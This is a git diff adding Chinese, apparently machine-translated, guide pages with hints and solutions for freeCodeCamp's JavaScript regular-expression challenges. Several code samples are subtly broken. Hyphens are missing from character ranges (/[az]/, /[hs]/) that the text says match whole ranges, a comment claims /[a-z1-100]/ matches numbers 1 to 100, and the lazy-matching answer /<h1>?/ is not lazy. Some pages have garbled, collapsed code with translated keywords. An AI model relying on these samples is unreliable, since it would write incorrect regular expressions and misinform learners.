+localeTitle: 提取匹配
+---
+## 提取匹配
+
+使用`match()`方法，您可以提取与正则表达式匹配的字符串部分。在此挑战中，您将从提供的字符串中提取“编码”一词。
+
+## 提示1：
+
+更改正则表达式以检测“编码”一词。
+
+## 提示2：
+
+你在字符串上调用`match()`方法了吗？
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+let extractStr = "Extract the word 'coding' from this string."; 
+ let codingRegex = /coding/; 
+ let result = extractStr.match(codingRegex); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md
new file mode 100644
index 0000000000..3803140298
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-characters-with-lazy-matching/index.md
@@ -0,0 +1,18 @@
+---
+title: Find Characters with Lazy Matching
+localeTitle: 查找具有延迟匹配的字符
+---
+## 查找具有延迟匹配的字符
+
+#### Challange：
+
+修复regex `/<.*>/`以返回HTML标记`<h1>`而不是文本`<h1>Winter is coming</h1>` 。记住通配符。在正则表达式中匹配任何字符。
+
+#### 解：
+
+```js
+let text = "<h1>Winter is coming</h1>"; 
+ let myRegex = /<h1>?/; // it's the answer! 
+ let result = text.match(myRegex); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md
new file mode 100644
index 0000000000..d03377a501
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-more-than-the-first-match/index.md
@@ -0,0 +1,26 @@
+---
+title: Find More Than the First Match
+localeTitle: 找到比第一场比赛更多的东西
+---
+## 找到比第一场比赛更多的东西
+
+如果在字符串中出现多次正则表达式，则可以使用`match()`函数来检测所有这些。只需在正则表达式末尾的`g`标记处标记！这就是你在这次挑战中所做的。
+
+## 提示1：
+
+更改正则表达式，以便它检测到单词“twinkle”。
+
+## 提示2：
+
+您可以为正则表达式添加多个标签！例如，检测多次出现并且无论如何都检测到的正则表达式可以被构造为`gi`或`ig` 。
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+let twinkleStar = "Twinkle, twinkle, little star"; 
+ let starRegex = /twinkle/gi; 
+ let result = twinkleStar.match(starRegex); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md
new file mode 100644
index 0000000000..cc02d33add
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/find-one-or-more-criminals-in-a-hunt/index.md
@@ -0,0 +1,41 @@
+---
+title: Find One or More Criminals in a Hunt
+localeTitle: 在狩猎中找到一个或多个罪犯
+---
+## 在狩猎中找到一个或多个罪犯
+
+## 问题
+
+一群罪犯逃出监狱逃跑，但你不知道有多少人。但是，你知道他们和其他人在一起时会保持紧密联系。你有责任立刻找到所有的罪犯。
+
+写一个贪婪的正则表达式，在一群其他人中找到一个或多个罪犯。罪犯由大写字母C代表。
+
+### 提示1：
+
+你是用斜线围绕你的正则表达式吗？
+
+```javascript
+let regexp = /t.[az]*t/; 
+```
+
+### 提示2：
+
+你在正则表达式中使用'+'标志？
+
+```javascript
+let regexp = /E+/; // returns E, EE, EEE patterns 
+```
+
+### 扰流板警告 - 提前解决
+
+## 解
+
+```javascript
+let crowd = 'P1P2P3P4P5P6CCCP7P8P9'; 
+ 
+ let reCriminals = /C+/; // Change this line 
+ 
+ let matchedCriminals = crowd.match(reCriminals); 
+ console.log(matchedCriminals); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md
new file mode 100644
index 0000000000..7cd3b2c3ce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/ignore-case-while-matching/index.md
@@ -0,0 +1,22 @@
+---
+title: Ignore Case While Matching
+localeTitle: 匹配时忽略大小写
+---
+## 匹配时忽略大小写
+
+创建正则表达式时，您可能希望匹配拼写相同但字符串不同的字符串部分。为此，您将`i`标志添加到正则表达式的末尾。在这个挑战中，你就是这么做的。
+
+## 提示1：
+
+修改正则表达式，使其检测到“freeCodeCamp”，“FREECODECAMP”和“FrEeCoDeCaMp”。也许使用`i`旗可能有帮助吗？
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+let myString = "freeCodeCamp"; 
+ let fccRegex = /freeCodeCamp/i; 
+ let result = fccRegex.test(myString); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md
new file mode 100644
index 0000000000..fa43e02859
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Regular Expressions
+localeTitle: 常用表达
+---
+## 常用表达
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md
new file mode 100644
index 0000000000..1b2380d86b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-a-literal-string-with-different-possibilities/index.md
@@ -0,0 +1,22 @@
+---
+title: Match a Literal String with Different Possibilities
+localeTitle: 匹配具有不同可能性的文字字符串
+---
+## 匹配具有不同可能性的文字字符串
+
+假设您想要将许多不同的单词与正则表达式匹配;使用`|`符号，这成为可能。在这个挑战中，您使用该符号来识别隐藏在字符串中的四种不同的宠物！
+
+## 提示1：
+
+在字符串文字内，放置宠物名称，每个名称由`|`分隔符号。
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascriot
+let petString = "James has a pet cat."; 
+ let petRegex = /dog|cat|bird|fish/; 
+ let result = petRegex.test(petString); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md
new file mode 100644
index 0000000000..15b436ac45
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md
@@ -0,0 +1,13 @@
+---
+title: Match All Letters and Numbers
+localeTitle: 匹配所有字母和数字
+---
+问题 使用速记字符类\\ w来计算各种引号和字符串中的字母数字字符数。
+
+解 让quoteSample =“五个拳击向导快速跳跃。”; 让alphabetRegexV2 = / \\ w / gi; //改变这一行 let result = quoteSample.match（alphabetRegexV2）.length;
+
+## 匹配所有字母和数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-letters-and-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md
new file mode 100644
index 0000000000..0f538f7d28
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-non-numbers/index.md
@@ -0,0 +1,25 @@
+---
+title: Match All Non-Numbers
+localeTitle: 匹配所有非数字
+---
+## 匹配所有非数字
+
+## 提示1
+
+*   您应该尝试使用全局标志。
+
+## 提示2
+
+*   尝试使用非数字字符的速记字符。
+
+# 扰流警报!!提前解决！
+
+## 解
+
+```javascript
+let noNumRegex = /\D/g; 
+```
+
+## 说明
+
+*   `\D`速记字符用于匹配非数字字符，它与使用`[^0-9]`具有相同的结果;
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md
new file mode 100644
index 0000000000..ea7189c125
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-all-numbers/index.md
@@ -0,0 +1,25 @@
+---
+title: Match All Numbers
+localeTitle: 匹配所有号码
+---
+## 匹配所有号码
+
+## 提示1
+
+*   全球旗帜将帮助您度过这一挑战。
+
+## 提示2
+
+*   尝试使用`d` igits的速记字符。
+
+# 扰流警报!!提前解决！
+
+## 解
+
+```javascript
+let numRegex = /\d/g; 
+```
+
+## 说明
+
+*   `\d`简写字符是`[0-9]`的快捷方式，它搜索0到9之间的任何数字。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md
new file mode 100644
index 0000000000..6dcc84fe46
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md
@@ -0,0 +1,25 @@
+---
+title: Match Anything with Wildcard Period
+localeTitle: 匹配通配符期间的任何内容
+---
+## 匹配通配符期间的任何内容
+
+## 提示1：
+
+点`.`是这一挑战的关键。
+
+## 提示2：
+
+你应该把点放在正确的位置。
+
+## 解
+
+```javascript
+let exampleStr = "Let's have fun with regular expressions!"; 
+ let unRegex = /.un/; // Change this line 
+ let result = unRegex.test(exampleStr); 
+```
+
+## 释
+
+这段时期`.`将是任何一个字符，因此字符串“run”，“sun”，“fun”和“pun”具有相同的un charaters。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md
new file mode 100644
index 0000000000..620f22bb53
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md
@@ -0,0 +1,33 @@
+---
+title: Match Beginning String Patterns
+localeTitle: 匹配开始字符串模式
+---
+## 匹配开始字符串模式
+
+## 问题
+
+使用正则表达式中的插入符号只能在字符串rickyAndCal的开头找到“Cal”。
+
+### 提示1：
+
+尝试用斜杠包围你的正则表达式
+
+```javascript
+let testExp = /^test/; 
+ // returns true or false depending on whether test is found in the beginning of the string 
+```
+
+### 提示2：
+
+尝试在括号外使用'^'字符插入符号，如上例所示
+
+### 扰流警报 - 提前解决
+
+## 解
+
+```javascript
+let rickyAndCal = "Cal and Ricky both like racing."; 
+ let calRegex = /^Cal/; // Change this line 
+ let result = calRegex.test(rickyAndCal); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md
new file mode 100644
index 0000000000..14bbd08234
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Characters that Occur One or More Times
+localeTitle: 匹配出现一次或多次的字符
+---
+## 匹配出现一次或多次的字符
+
+＃＃ 问题： 您希望在“密西西比”中字母s出现一次或多次时找到匹配项。写一个使用+符号的正则表达式。 ＃＃ 解决方案
+
+let difficultSpelling =“Mississippi”; 让myRegex = / s + / g; //这是解决方案 let result = difficultSpelling.match（myRegex）;
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md
new file mode 100644
index 0000000000..4efd4d51e5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md
@@ -0,0 +1,30 @@
+---
+title: Match Characters that Occur Zero or More Times
+localeTitle: 匹配出现零次或多次的字符
+---
+## 匹配出现零次或多次的字符
+
+正则表达式中后跟`*`任何字母都不必出现在测试的字符串中，而正则表达式中后跟`+`任何字母必须至少出现一次字符串，如下所示，
+
+```javascript
+let phrase = "ba humbug"; 
+ 
+ let regexPlus = /bah+/; 
+ let regexStar = /bah*/; 
+ 
+ regexPlus.test(phrase);  // returns false 
+ regexStar.test(phrase);  // returns true 
+```
+
+两者都允许连续出现任意数量的相同字母，例如
+
+```javascript
+let phrase = "wooooow look at that!"; 
+ 
+ let regexPlus = /wo+w/; 
+ let regexStar = /wo*w/; 
+ 
+ regexPlus.test(phrase); // returns true 
+ regexStar.test(phrase); // returns true 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md
new file mode 100644
index 0000000000..9f10f98708
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Ending String Patterns
+localeTitle: 匹配结束字符串模式
+---
+## 匹配结束字符串模式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md
new file mode 100644
index 0000000000..63d1d17c00
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Everything But Letters and Numbers
+localeTitle: 匹配一切，但字母和数字
+---
+## 匹配一切，但字母和数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md
new file mode 100644
index 0000000000..76ccee8124
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md
@@ -0,0 +1,26 @@
+---
+title: Match Letters of the Alphabet
+localeTitle: 匹配字母的字母
+---
+## 匹配字母的字母
+
+在此挑战中，要求您匹配给定字符串中的所有字母。您不仅要匹配/搜索这些字符，还要求您提取它们。
+
+### 提示1：
+
+请记住，您被要求从字符串中提取字母 - 这不能通过.test（）方法完成，因为它返回True或False。在这种情况下，我们需要使用.match（）方法从字符串中提取实际结果。
+
+### 提示2：
+
+你是否使用带括号的match（）方法字符大小写标志？例如regExp = / \[ae\] / vs regExp = / ae /。这允许我们做的是使用简写符号/ \[ae\] /在字符串中搜索与\[​​a，b，c，... e\]匹配的任何字符。
+
+### 扰流板警报：未来的解决方案
+
+## 解
+
+```javascript
+let quoteSample = "The quick brown fox jumps over the lazy dog."; 
+ let alphabetRegex = /[az]/ig; // Change this line 
+ let result = quoteSample.match(alphabetRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md
new file mode 100644
index 0000000000..27f6f3fa13
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md
@@ -0,0 +1,24 @@
+---
+title: Match Literal Strings
+localeTitle: 匹配文字字符串
+---
+## 匹配文字字符串
+
+这一挑战与以往没有任何不同;但在这种情况下，您将了解到字符串文字区分大小写。这意味着，当您测试一个字符串是否有文字时，它将搜索字符串中的确切大小写（下部或上部）。在即将到来的课程中，您将学习如何查找字符串文字，无论其大小写如何。
+
+在这个挑战中，你发现了一个字符串！
+
+## 提示1：
+
+将行更改为具有正确的字符串文字。
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+let waldoIsHiding = "Somewhere Waldo is hiding in this text."; 
+ let waldoRegex = /Waldo/; // Change this line 
+ let result = waldoRegex.test(waldoIsHiding); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md
new file mode 100644
index 0000000000..582d11a482
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Non-Whitespace Characters
+localeTitle: 匹配非空白字符
+---
+## 匹配非空白字符
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md
new file mode 100644
index 0000000000..965477ccb2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md
@@ -0,0 +1,40 @@
+---
+title: Match Numbers and Letters of the Alphabet
+localeTitle: 匹配数字和字母的字母
+---
+## 匹配数字和字母的字母
+
+在此挑战中，系统会要求您返回从字符串中提取的数字和字母的集合。我们的目标是创建一个单一的正则表达式，捕获h和s之间的字母范围，以及2到6之间的数字。
+
+### 提示1：
+
+你在使用match（）方法吗？如果是这样，那么你是否从适当的变量调用方法？即
+
+```javascript
+  let input_string = "The string you are testing on" 
+  let yourRegExp = /[hs]/; 
+  let correct_result = input_string.match(yourRegExp); // passes - returns characters H to S 
+ 
+  let incorrect_result = yourRegExp.match(input_string); // fails - .match() is not a function 
+```
+
+### 提示2：
+
+您是否记得启用正则表达式标志，例如“i”表示忽略大小写，而“g”表示是否可以检索多个值？如果是这样，那么你是否包括数字和字母的字符大小写匹配？
+
+```javascript
+let regexp = /[a-z1-100]/ig 
+ // above code returns all characters from A to Z, along with all numbers from 1 to 100 
+ // this includes the letter A and Z and the numbers 1 and 100 
+```
+
+### 扰流警报 - 提前解决
+
+## 解
+
+```javascript
+let quoteSample = "Blueberry 3.141592653s are delicious."; 
+ let myRegex = /[h-s2-6]/ig; // Change this line 
+ let result = quoteSample.match(myRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md
new file mode 100644
index 0000000000..eb248f6265
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md
@@ -0,0 +1,28 @@
+---
+title: Match Single Character with Multiple Possibilities
+localeTitle: 将单个角色与多种可能性相匹配
+---
+## 将单个角色与多种可能性相匹配
+
+### 提取
+
+使用match（）方法，您可以提取与正则表达式匹配的字符串部分。在此挑战中，您将从提供的字符串中提取元音“a，e，i，o，u”。
+
+### 提示1：
+
+您是否尝试使用test（）方法？请记住，此方法仅返回True或False - 我们需要从字符串中提取元音。
+
+### 提示2：
+
+您是否尝试过不使用逗号的“\[\]”字符大小写匹配？即\[abcd\] vs \[a，b，c，d\]
+
+### 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+let quoteSample = "Beware of bugs in the above code; I have only proved it correct, not tried it."; 
+ let vowelRegex = /[aeiou]/ig; // Change this line 
+ let result = quoteSample.match(vowelRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md
new file mode 100644
index 0000000000..be34409120
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md
@@ -0,0 +1,40 @@
+---
+title: Match Single Characters Not Specified
+localeTitle: 匹配未指定的单个字符
+---
+## 匹配未指定的单个字符
+
+在此挑战中，我们被要求返回未完全指定的匹配集合。虽然之前的正则表达式挑战会在字符情况\[az\]中匹配，但此挑战要求我们使用插入符\[^ az\]来否定这些匹配。我们的目标是返回一个非元音或数字的否定集合（不匹配）。
+
+## 提示1：
+
+你还记得用括号和斜线包围你的正则表达式吗？
+
+```javascript
+let exampleRegExp = /[^az]/; 
+```
+
+如果是这样，那么仔细检查你是否正在添加适当的标志：
+
+*   i：忽略搜索/匹配的大小写
+*   g：检索多个值; default设置为返回遇到的第一个匹配项
+*   ^：取消此标志后的匹配
+
+### 提示2：
+
+一定要检查你的号码范围是否正确 - 挑战要求我们否定0-99之间的所有数字。这可以使用在正则表达式的第一个开始括号后立即放置的否定插入符来完成。
+
+```javacsript
+let numbersRegExp = /[^0-99]/ig; 
+```
+
+### 扰流警报 - 提前解决
+
+## 解
+
+```javascript
+let quoteSample = "3 blind mice."; 
+ let myRegex = /[^aeiou^0-99]/ig; // Change this line 
+ let result = quoteSample.match(myRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md
new file mode 100644
index 0000000000..bc0480cf0e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Whitespace
+localeTitle: 匹配空白
+---
+## 匹配空白
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md
new file mode 100644
index 0000000000..feb142a026
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md
@@ -0,0 +1,19 @@
+---
+title: Positive and Negative Lookahead
+localeTitle: 积极和消极的前瞻
+---
+## 积极和消极的前瞻
+
+*   记得使用2个`lookaheads`来检查字符串中的模式。第一个`lookahead`与示例中给出的非常相似 - '（？= \\ w {3,6}）' - 只有`lower-number` 3对于我们的测试用例来说太低了，并且`upper-number`是完全不必要的。第一个`lookahead`仅用于查找由一定数量的字符组成的字符串。必须使用第二个`lookahead`来检查字符串末尾的连续数值。
+    
+*   第二个`lookahead`也类似于示例中给出的 - `(?=\D*\d)` - 但是，也必须修改此表达式以传递所有测试用例。请记住指定要在字符串末尾显示的确切数字量。
+    
+
+## 方案：
+
+```javascript
+let sampleWord = "astronaut"; 
+ let pwRegex = /(?=\w{5,})(?=\D*\d{2})/; 
+ let result = pwRegex.test(sampleWord); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md
new file mode 100644
index 0000000000..492139e08f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md
@@ -0,0 +1,26 @@
+---
+title: Remove Whitespace from Start and End
+localeTitle: 从开始和结束中删除空格
+---
+## 从开始和结束中删除空格
+
+要解决此挑战，您只需创建一个正则字符串字符串，该字符串匹配字符串开头或结尾处的任何空格。
+
+## 提示1：
+
+想一想如何在字符串的开头或结尾选择子字符串。
+
+## 提示2：
+
+想想你如何选择空格
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+let hello = "   Hello, World!  "; 
+ let wsRegex = /^\s+|\s+$/g; // Change this line 
+ let result = hello.replace(wsRegex, ''); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md
new file mode 100644
index 0000000000..dab480d0db
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md
@@ -0,0 +1,34 @@
+---
+title: Restrict Possible Usernames
+localeTitle: 限制可能的用户名
+---
+## 限制可能的用户名
+
+## 解：
+
+```javascript
+let username = "JackOfAllTrades"; 
+ let userCheck = /^[az]{2,}\d*$/i; 
+ let result = userCheck.test(username); 
+```
+
+## 说明：
+
+1.  用户名中唯一的数字必须在最后。 `\d$` 最后可以有零个或多个。 `*`
+
+```javascript
+/\d*$/; 
+```
+
+2.  用户名字母可以是小写和大写。 `i`
+
+```javascript
+/\d*$/i; 
+```
+
+3.  用户名长度必须至少为两个字符。 `{2,}` 双字母用户名只能使用字母字母。 `^[az]`
+
+```javascript
+/^[az]{2,}\d*$/i; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md
new file mode 100644
index 0000000000..1745200a64
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md
@@ -0,0 +1,61 @@
+---
+title: Reuse Patterns Using Capture Groups
+localeTitle: 使用捕获组重用模式
+---
+## 使用Capture Group重用模式
+
+## 提示1：
+
+给出以下代码：
+
+```javascript
+let testString = "test test test "; 
+ let reRegex =/(test)\s\1/; 
+ let result = reRegex.test(testString); 
+```
+
+`result`将仅匹配`test test`因为此示例中的`\1`代表与最近匹配的第一个捕获组`(test)`相同的文本。
+
+如果我们要正面翻译正则表达式，它看起来像这样：
+
+```js
+let re = /(test)\s\1; 
+ let literalRe = /test\stest; 
+```
+
+`rea`和`literalRe`都会匹配相同的东西。
+
+## 提示2：
+
+鉴于以下代码：
+
+```javascript
+let testString = "test test test "; 
+ let reRegex =/(test)(\s)\1\2\1/; 
+ let result = reRegex.test(testString); 
+```
+
+将匹配整个`test test test`因为： `\1`重复（测试） `\2`重复（\\ s）
+
+## 提示3：
+
+代码如下：
+
+```javascript
+let testString = "test test test test test test"; 
+ let reRegex =/(test)(\s)\1\2\1/g; 
+ let result = reRegex.test(testString); 
+```
+
+因为我们使用了`\g` ，我们的正则表达式在第一次完全匹配（ `test test test` ）之后没有返回并匹配所有重复。
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+let repeatNum = "42 42 42"; 
+ let reRegex =  /^(\d+)\s\1\s\1$/; 
+ let result = reRegex.test(repeatNum); 
+
+```
\ No newline at end of file
